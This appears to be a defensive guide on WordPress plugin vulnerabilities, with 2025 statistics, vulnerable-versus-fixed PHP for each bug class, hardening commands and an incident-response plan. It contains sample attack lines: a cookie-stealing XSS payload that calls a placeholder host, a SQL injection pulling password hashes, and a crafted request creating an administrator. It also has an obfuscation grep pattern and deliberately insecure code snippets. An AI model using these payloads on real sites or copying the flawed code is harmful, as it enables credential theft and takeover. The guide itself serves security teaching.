Introduction: plugins are WordPress’s real attack surface
WordPress core is now one of the most heavily reviewed PHP codebases on the web. The plugins bolted onto it are not. In 2025, 91% of all newly reported WordPress vulnerabilities lived in plugins, while core itself produced only a handful of low-priority issues.
That gap is the whole story of WordPress security today. A typical business site runs 20 to 40 plugins, each written by a different team, with its own release cycle, its own coding standards, and its own idea of what “input validation” means. Every one of those plugins runs with the same privileges as WordPress itself. A single unchecked $_POST value in a contact-form add-on can hand an attacker the entire database.
This guide covers three things:
- Why plugin vulnerabilities keep rising year over year, with the latest data.
- How these bugs actually work, with vulnerable and fixed PHP code for each major class.
- How to protect a live site, with concrete configuration, WP-CLI commands, server rules and a response plan.
It is written for site owners who manage their own WordPress install, agencies maintaining client sites, and developers who build plugins.
The numbers: 11,334 new vulnerabilities in one year
Patchstack recorded 11,334 new WordPress vulnerabilities in 2025, a 42% jump over 2024’s 7,966, which was itself 34% higher than 2023. That is roughly 31 new vulnerabilities every day.
| Metric | 2024 | 2025 |
|---|---|---|
| New vulnerabilities in the ecosystem | 7,966 | 11,334 |
| Share found in plugins | 96% | 91% |
| Vulnerabilities in WordPress core | 7 | 6 (all low priority) |
| Not patched by the time of public disclosure | 33% | 46% |
| High-priority (likely mass-exploited) | 11.6% | 17% (1,966) |
A few findings stand out for site owners:
- Attackers move in hours, not weeks. For the most heavily targeted bugs disclosed in 2025, the weighted median time to first mass exploitation was about 5 hours. Roughly half of high-impact vulnerabilities were exploited within 24 hours.
- Highly exploitable vulnerabilities rose 113% year over year. More high-severity bugs were found in 2025 than in the previous two years combined.
- Premium plugins are not safer. 1,983 reports involved premium or freemium components, and 76% of those were exploitable in real attacks. Premium components had three times as many known exploited vulnerabilities as free ones.
- Broken Access Control was the most exploited class. These attacks look like normal logged-in traffic, so generic firewalls rarely catch them.
- Hosting defences catch little. In Patchstack’s pentests, typical host-level protections blocked only 12% to 26% of WordPress vulnerability exploits.
- Old bugs never die. Only four of the ten most-exploited vulnerabilities in 2025 were disclosed that year. LiteSpeed Cache’s 2024 stored XSS topped the list.
Sources: Patchstack, State of WordPress Security in 2026 and State of WordPress Security in 2025.
Why plugin vulnerabilities keep increasing
The rise is partly real risk and partly better visibility. Seven forces drive it.
1. A huge, uneven supply chain
The WordPress.org directory alone hosts roughly 60,000 plugins, plus thousands more sold on marketplaces like Envato or shipped privately by agencies. Many are maintained by one person in their spare time. There is no mandatory security review before an update ships, so code quality varies enormously.
2. Plugins run with full privileges
WordPress has no sandbox or permission model for plugins. Any plugin can read wp-config.php, query every table, write files and register public endpoints. One weak plugin compromises the whole site, so attackers only need to find the weakest link.
3. More endpoints, more surface
Modern plugins expose REST API routes, admin-ajax.php actions, Gutenberg blocks, webhooks and shortcodes. Each is an entry point that needs its own capability check, nonce check and input validation. Developers frequently secure the admin page but forget the AJAX handler behind it.
4. AI-generated and “vibe-coded” plugins
Patchstack has flagged a growing number of vulnerabilities in plugins generated with AI tools and shipped by authors who could not review the output. The code works, so it ships. Missing current_user_can() checks and unescaped output are typical results.
5. Bug bounties and better research tooling
Paid programs such as Patchstack’s and Wordfence’s reward researchers per finding, and automated scanners make it faster to audit thousands of plugins. More researchers looking means more bugs found. This is good news long term, but it inflates the yearly count.
6. Slow or absent patches
46% of vulnerabilities disclosed in 2025 had no fix available when they went public. Abandoned plugins may never be fixed. In 2024 alone, 1,614 plugins and themes were pulled from WordPress.org for unpatched security issues, yet they stay active on sites that installed them, with no warning in the dashboard.
7. Faster, automated exploitation
Attackers watch disclosure feeds, diff the patched version against the old one, and push exploit scripts to botnets within hours. AI tools shorten that cycle further. Monarx’s data also shows attackers now inject code into legitimate plugin and core files instead of dropping obvious malware files, which makes cleanup harder.
The most common vulnerability classes, with code
Nearly every plugin bug falls into a handful of patterns. Each one below shows a vulnerable snippet and the fixed version using WordPress’s own security APIs.
1. Cross-Site Scripting (XSS)
XSS is the most frequently reported class, close to half of all new entries in 2024. It happens when user-controlled data is printed into a page without escaping. Stored XSS is the dangerous form: the payload is saved to the database and runs for every visitor, or for an admin who opens the settings page.
Vulnerable:
// Shortcode that prints a saved "title" option directly
add_shortcode( 'promo_banner', function () {
$title = get_option( 'promo_title' );
return '<div class="promo">' . $title . '</div>';
} );
If an attacker can set promo_title to <script>fetch('//evil.tld/c?'+document.cookie)</script>, every visitor runs it.
Fixed: sanitize on input, escape on output.
// On save
update_option( 'promo_title', sanitize_text_field( wp_unslash( $_POST['promo_title'] ) ) );
// On output
add_shortcode( 'promo_banner', function () {
$title = get_option( 'promo_title' );
return '<div class="promo">' . esc_html( $title ) . '</div>';
} );
Use the escaping function that matches the context: esc_html() for text, esc_attr() for attributes, esc_url() for links, wp_kses_post() when limited HTML is allowed, and wp_json_encode() for data passed to JavaScript.
2. Broken Access Control (missing authorization)
This was the most exploited class in 2025. The plugin registers an action but never checks whether the caller is allowed to perform it. A classic mistake is assuming wp_ajax_ hooks are admin-only. They are not: any logged-in user, including a Subscriber, can call them. wp_ajax_nopriv_ hooks are open to everyone.
Vulnerable:
add_action( 'wp_ajax_myplugin_save_settings', 'myplugin_save_settings' );
function myplugin_save_settings() {
update_option( 'myplugin_settings', $_POST['settings'] );
wp_send_json_success();
}
Any Subscriber account can rewrite the plugin’s settings, often including redirect URLs or script snippets.
Fixed:
add_action( 'wp_ajax_myplugin_save_settings', 'myplugin_save_settings' );
function myplugin_save_settings() {
check_ajax_referer( 'myplugin_save', 'nonce' ); // CSRF protection
if ( ! current_user_can( 'manage_options' ) ) { // authorization
wp_send_json_error( 'Forbidden', 403 );
}
$settings = array_map( 'sanitize_text_field', (array) wp_unslash( $_POST['settings'] ?? [] ) );
update_option( 'myplugin_settings', $settings );
wp_send_json_success();
}
REST routes have the same problem. Never use 'permission_callback' => '__return_true' on a route that changes data:
register_rest_route( 'myplugin/v1', '/export', [
'methods' => 'GET',
'callback' => 'myplugin_export_users',
'permission_callback' => function () {
return current_user_can( 'list_users' );
},
] );
3. SQL Injection (SQLi)
SQLi lets an attacker read or modify the database: dump password hashes, create admin users, or steal customer orders. It appears whenever request data is concatenated into a query.
Vulnerable:
global $wpdb;
$id = $_GET['event_id'];
$results = $wpdb->get_results(
"SELECT * FROM {$wpdb->prefix}events WHERE id = $id"
);
A request with ?event_id=1 UNION SELECT user_login,user_pass,3,4 FROM wp_users leaks credentials.
Fixed with a prepared statement:
global $wpdb;
$id = absint( $_GET['event_id'] ?? 0 );
$results = $wpdb->get_results(
$wpdb->prepare(
"SELECT * FROM {$wpdb->prefix}events WHERE id = %d",
$id
)
);
For ORDER BY columns or table names, which prepare() cannot parameterize, validate against an allow-list:
$allowed = [ 'date', 'title', 'price' ];
$orderby = in_array( $_GET['orderby'] ?? '', $allowed, true ) ? $_GET['orderby'] : 'date';
4. Cross-Site Request Forgery (CSRF)
CSRF tricks a logged-in admin into submitting a request they did not intend, usually by visiting a malicious page. Without a nonce check, the browser happily sends the admin’s cookies along.
Vulnerable form handler:
if ( isset( $_POST['delete_all_logs'] ) && current_user_can( 'manage_options' ) ) {
myplugin_delete_logs();
}
Fixed: add a nonce field to the form and verify it.
// In the form
wp_nonce_field( 'myplugin_delete_logs', 'myplugin_nonce' );
// In the handler
if ( isset( $_POST['delete_all_logs'] )
&& current_user_can( 'manage_options' )
&& check_admin_referer( 'myplugin_delete_logs', 'myplugin_nonce' ) ) {
myplugin_delete_logs();
}
Note that a nonce is not an authorization check. It proves intent, not permission. You need both.
5. Arbitrary File Upload
This is the shortest path to full takeover. If a plugin lets an attacker upload a .php file into a web-accessible folder, they can run any code on the server. Contact forms, avatar uploaders and import tools are frequent culprits.
Vulnerable:
$target = wp_upload_dir()['basedir'] . '/forms/' . $_FILES['file']['name'];
move_uploaded_file( $_FILES['file']['tmp_name'], $target );
Fixed: let WordPress handle the upload and enforce real file types.
require_once ABSPATH . 'wp-admin/includes/file.php';
$allowed_mimes = [
'jpg|jpeg' => 'image/jpeg',
'png' => 'image/png',
'pdf' => 'application/pdf',
];
$check = wp_check_filetype_and_ext(
$_FILES['file']['tmp_name'],
$_FILES['file']['name'],
$allowed_mimes
);
if ( ! $check['ext'] || ! $check['type'] ) {
wp_die( 'File type not allowed.' );
}
$upload = wp_handle_upload( $_FILES['file'], [
'test_form' => false,
'mimes' => $allowed_mimes,
] );
As a second layer, block PHP execution in the uploads folder at the server level (see the hardening section below).
6. Privilege Escalation and Authentication Bypass
These bugs let a low-privilege or anonymous user become an administrator. Common causes are registration handlers that accept a role parameter, password-reset flows that trust user-supplied IDs, and “magic login” links with predictable tokens.
Vulnerable registration handler:
wp_insert_user( [
'user_login' => sanitize_user( $_POST['username'] ),
'user_pass' => $_POST['password'],
'user_email' => sanitize_email( $_POST['email'] ),
'role' => $_POST['role'], // attacker sends role=administrator
] );
Fixed: never accept the role from the request.
wp_insert_user( [
'user_login' => sanitize_user( $_POST['username'] ),
'user_pass' => $_POST['password'],
'user_email' => sanitize_email( $_POST['email'] ),
'role' => get_option( 'default_role', 'subscriber' ),
] );
The same principle applies to update_user_meta() calls. If a profile-update handler writes any meta key the user sends, an attacker can set wp_capabilities directly.
7. PHP Object Injection and Local File Inclusion
Two less common but critical classes deserve a mention:
- PHP Object Injection occurs when
unserialize()runs on user input. With a suitable gadget chain in any installed plugin, it leads to remote code execution. GiveWP’s 2024 object injection was still among the most exploited bugs in 2025. Usejson_decode()instead, or pass[ 'allowed_classes' => false ]. - Local File Inclusion (LFI) occurs when a path from the request reaches
includeorrequire. Attackers use../sequences to load arbitrary files. Map user choices to a fixed list of templates rather than building paths from input.
Anatomy of a plugin attack: from disclosure to takeover
A typical mass-exploitation campaign moves from public advisory to infected sites in under a day. Here is how it usually unfolds, using an unauthenticated privilege escalation as the example.
- Disclosure (hour 0). A vulnerability is published in a public database with the affected versions. The patched release is already on WordPress.org, or, in 46% of cases, there is no patch yet.
- Patch diffing (hours 0 to 2). Attackers download the old and new versions and compare them. The fix reveals exactly which function was vulnerable and which parameter to abuse.
diff -ru vulnerable-plugin-1.0.78/ vulnerable-plugin-1.0.79/ | less - Target discovery (hours 1 to 4). Bots scan the web for the plugin’s
readme.txtto find vulnerable versions:GET /wp-content/plugins/vulnerable-plugin/readme.txt Stable tag: 1.0.78 - Exploitation (around hour 5). A single crafted request creates an administrator account or flips the default role:
POST /wp-json/vulnerable-plugin/v1/automation HTTP/1.1 Host: victim.example Content-Type: application/json {"action":"create_user","role":"administrator","user_login":"wp_support_1"} - Persistence. With admin access, the attacker installs a backdoor plugin, injects code into legitimate theme or core files, and plants uploader scripts so they can return later. Monarx saw uploader scripts nearly double in mid-2025 for exactly this reason.
- Monetization. The site starts serving cloaked SEO spam (Japanese keyword spam is common), redirects mobile visitors to scam pages, skims checkout forms, or joins a botnet. Many owners only notice when Google flags the site or customers complain.
The lesson: by the time you read about a vulnerability in a newsletter, automated scans have often already reached your site. Protection has to work before you get around to clicking “Update”.
How to protect your website: a layered plan
No single tool stops plugin attacks. The goal is layers: fewer plugins, faster patching, virtual patching for the gap, a hardened server, and monitoring that catches what slips through.
Step 1: Audit and reduce your plugin inventory
Every plugin you remove is attack surface you no longer have to defend. Start with a full inventory using WP-CLI:
# List every plugin with status, version and available update
wp plugin list --fields=name,status,version,update,update_version --format=table
# Find inactive plugins (still exploitable if their files are reachable)
wp plugin list --status=inactive --field=name
# Remove inactive plugins you do not need
wp plugin delete $(wp plugin list --status=inactive --field=name)
Then check each remaining plugin for warning signs:
- Last updated more than 12 months ago
- Closed on WordPress.org (the directory page shows a closure notice)
- Few active installs and a single maintainer
- Nulled or pirated premium plugins (these often ship with backdoors)
Deactivated is not the same as safe. Inactive plugin files can still be called directly, so delete what you do not use.
Step 2: Patch fast, and automate where you can
With a 5-hour exploitation window, weekly manual updates are too slow for critical fixes. Enable automatic updates for plugins you trust, and keep a staging site for the ones that tend to break things.
# Enable auto-updates for specific plugins
wp plugin auto-updates enable wordfence woocommerce
# Or for all plugins
wp plugin auto-updates enable --all
# Check for known-vulnerable versions with WPScan (API token required)
wpscan --url https://example.com --enumerate vp --api-token YOUR_TOKEN
You can also enforce plugin auto-updates in code with a small must-use plugin:
<?php
// wp-content/mu-plugins/auto-update-plugins.php
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
Step 3: Add virtual patching for the patch gap
Updates cannot help when no patch exists, which was the case for 46% of 2025 vulnerabilities. Virtual patching closes that gap. A WordPress-aware firewall blocks the specific exploit request for a known vulnerability before the vendor ships a fix.
Generic CDN or server firewalls are weak here because they cannot see which plugins are installed or which user is logged in. Look for application-level options such as Patchstack, Wordfence Premium, or a host that deploys WordPress-specific rules. A cloud WAF such as Cloudflare is still worth having for bot filtering and rate limiting, just not as your only layer.
Step 4: Harden wp-config.php
These constants limit what an attacker can do even after they gain admin access:
// Stop admins (and attackers with admin access) editing PHP from the dashboard
define( 'DISALLOW_FILE_EDIT', true );
// Optional, stricter: block plugin/theme installs and updates from the dashboard.
// Only use this if you deploy updates via WP-CLI, Git or your host.
define( 'DISALLOW_FILE_MODS', true );
// Force HTTPS for logins and the admin area
define( 'FORCE_SSL_ADMIN', true );
// Never show errors to visitors on production
define( 'WP_DEBUG', false );
define( 'WP_DEBUG_DISPLAY', false );
// Keep core minor (security) updates automatic
define( 'WP_AUTO_UPDATE_CORE', 'minor' );
Also rotate your authentication keys and salts after any suspected breach. Generate fresh ones at the official salt generator at api.wordpress.org/secret-key/1.1/salt/ or with wp config shuffle-salts.
Step 5: Lock down the server
Block PHP execution inside the uploads folder, so an uploaded web shell cannot run.
Apache (wp-content/uploads/.htaccess):
<FilesMatch "\.(php|phtml|php[3-8]|phar)$">
Require all denied
</FilesMatch>
Nginx (inside your server block):
location ~* /wp-content/uploads/.*\.(php|phtml|phar)$ {
deny all;
}
# Hide plugin readme files that reveal exact versions
location ~* /wp-content/plugins/.*/readme\.txt$ {
deny all;
}
# Block direct access to sensitive files (drop xmlrpc if Jetpack or mobile apps need it)
location ~* /(wp-config\.php|xmlrpc\.php|\.git) {
deny all;
}
Set sane file permissions so the web server cannot rewrite core files:
find /var/www/html -type d -exec chmod 755 {} \;
find /var/www/html -type f -exec chmod 644 {} \;
chmod 600 /var/www/html/wp-config.php
If you do not use XML-RPC (Jetpack and some mobile apps do), disabling it removes a common brute-force channel.
Step 6: Apply least privilege to users
Many plugin bugs need only a Subscriber or Contributor account. Reduce who has what:
# Review all administrators
wp user list --role=administrator --fields=ID,user_login,user_email,user_registered
# Turn off open registration if you do not need it
wp option update users_can_register 0
# Make sure new users default to the lowest role
wp option update default_role subscriber
Require two-factor authentication for every admin and editor, and use unique passwords stored in a password manager. Remove accounts for former staff, contractors and agencies.
Step 7: Monitor integrity and activity
Attackers increasingly hide code inside legitimate files, so you need to know when files change.
# Compare core files against the official checksums
wp core verify-checksums
# Compare WordPress.org plugins against their official checksums
wp plugin verify-checksums --all
# Find PHP files modified in the last 3 days
find wp-content -name "*.php" -mtime -3 -ls
# Look for common obfuscation patterns
grep -rnE "eval\(base64_decode|gzinflate\(|str_rot13\(|assert\(\$_" wp-content/
Add an activity log plugin to record logins, user creation, role changes and plugin installs, and send alerts for new administrator accounts. Server-side malware scanning from your host is more reliable than a scanner plugin, because malware frequently disables plugin-based scanners.
Step 8: Keep tested, off-site backups
Backups do not prevent attacks, but they decide how bad a bad day gets. Keep daily backups of files and database, store copies off the server, retain at least 30 days of history (infections often go unnoticed for weeks), and test a restore every quarter.
# Quick manual database export before risky changes
wp db export backup-$(date +%F).sql
Secure coding checklist for plugin developers
If you build or maintain plugins, these checks prevent the large majority of reported bugs. Run through them before every release.
- Every AJAX action, REST route,
admin_posthandler and form processor checkscurrent_user_can()with the narrowest capability that fits. - Every state-changing request verifies a nonce (
check_ajax_referer(),check_admin_referer()orwp_verify_nonce()). - No REST route that reads private data or changes state uses
__return_trueas itspermission_callback. - All input is sanitized with the right function:
sanitize_text_field(),sanitize_email(),absint(),sanitize_key(),wp_kses(). - All output is escaped late, at the point of printing:
esc_html(),esc_attr(),esc_url(),wp_kses_post(). - Every database query with variables uses
$wpdb->prepare(); identifiers come from an allow-list. - File uploads go through
wp_handle_upload()with an explicit MIME allow-list, and never land in a folder where PHP can run. - No
unserialize(),eval(),extract()or dynamicincludeon user-controlled data. - User roles, capabilities and meta keys are never taken from the request.
- Secrets (API keys, tokens) are stored server-side and never printed into page source or JavaScript.
- Bundled third-party libraries (Composer and npm) are scanned for known vulnerabilities and kept current.
- AI-generated code is reviewed line by line for the items above before it ships.
- The plugin has a published vulnerability disclosure policy and a security contact, as required for vendors with EU users under the Cyber Resilience Act.
Automate as much of this as possible. The WordPress Coding Standards for PHP_CodeSniffer include security sniffs that flag missing escaping, missing nonces and unprepared queries:
composer require --dev wp-coding-standards/wpcs dealerdirect/phpcodesniffer-composer-installer
vendor/bin/phpcs --standard=WordPress-Extra --sniffs=WordPress.Security.EscapeOutput,WordPress.Security.NonceVerification,WordPress.Security.ValidatedSanitizedInput,WordPress.DB.PreparedSQL ./
Add that command to your CI pipeline so every pull request is checked.
Incident response: what to do if a plugin gets you hacked
If you see unknown admin users, redirects, spam pages in Google results or files you did not create, assume full compromise and work through these steps in order.
- Contain. Put the site in maintenance mode or block public traffic at the firewall. Take a full snapshot of files and database first, for forensics, before you change anything.
- Identify the entry point. Check access logs for POST requests to plugin endpoints,
admin-ajax.phpand/wp-json/around the time of the first suspicious change. Match installed plugin versions against a vulnerability database.grep -E "POST .*(admin-ajax|wp-json|wp-content/plugins)" /var/log/nginx/access.log | less wp user list --role=administrator --orderby=registered --order=desc - Remove attacker access. Delete unknown admin accounts, reset every remaining user’s password, rotate salts, and change database, hosting, SFTP and API credentials.
wp user delete <id> --reassign=1 wp config shuffle-salts - Clean the code, do not just delete files. Because attackers inject into legitimate files, reinstall core and every plugin from fresh, official copies rather than trying to edit infected files.
wp core download --force --skip-content wp plugin install $(wp plugin list --field=name) --force
Premium plugins are not on WordPress.org, so reinstall those from the vendor’s download. Then inspect the database for injected scripts inwp_options,wp_postsand widget content, and checkmu-plugins,uploads,.htaccessand cron jobs for persistence. - Patch or remove the vulnerable plugin. If no fixed version exists, remove the plugin and find an alternative, or put a virtual patch in place.
- Watch for reinfection. Memory-resident malware such as the Lock360 family rewrites files after cleanup. If infections return, restart PHP workers and ask your host to check for running processes. Restore from a known-clean backup if needed.
- Recover reputation. Request a review in Google Search Console once clean, check blocklists, and notify affected users if personal data may have been exposed. Under GDPR, notifiable breaches must be reported within 72 hours.
Conclusion
WordPress plugin vulnerabilities are rising because the ecosystem is growing, code is being written faster (often with AI), more researchers are looking, and attackers are automating exploitation to within hours of disclosure. With 46% of bugs unpatched at disclosure, “just keep plugins updated” is necessary but no longer sufficient.
The sites that stay safe treat security as layers:
- Run fewer, well-maintained plugins.
- Patch automatically and quickly.
- Use a WordPress-aware firewall with virtual patching for the patch gap.
- Harden
wp-config.php, the server and user roles. - Monitor file integrity and admin activity.
- Keep tested, off-site backups and a written response plan.
If you build plugins, the fix is mostly discipline: check capabilities, verify nonces, sanitize input, escape output and prepare every query.
Frequently asked questions
Are popular plugins safer than small ones? Not necessarily. In 2024, 1,018 vulnerabilities were found in plugins with at least 100,000 installs. Popular plugins are reviewed more, but they are also more valuable targets.
Are premium plugins more secure than free ones? The 2025 data suggests the opposite. Premium components had three times as many known exploited vulnerabilities, largely because fewer researchers can see their code.
Is a deactivated plugin safe? No. Its files are still on the server and some can be requested directly. Delete plugins you do not use.
Is Cloudflare or my host’s firewall enough? It helps with bots and brute force, but tests showed generic host defences blocked only 12% to 26% of WordPress-specific exploits. Add an application-level, WordPress-aware layer.
How often should I update plugins? As soon as security fixes are released. For critical sites, use auto-updates with staging tests, plus virtual patching to cover the hours or days in between.
How do I know if a plugin I use is vulnerable? Check it against a vulnerability database such as Patchstack, Wordfence Intelligence or WPScan, or use a plugin or service that alerts you automatically.
Sources
- Patchstack: State of WordPress Security in 2026 (2025 data, with Monarx malware findings)
- Patchstack: State of WordPress Security in 2025 (2024 data)
- WordPress Coding Standards

Leave a Reply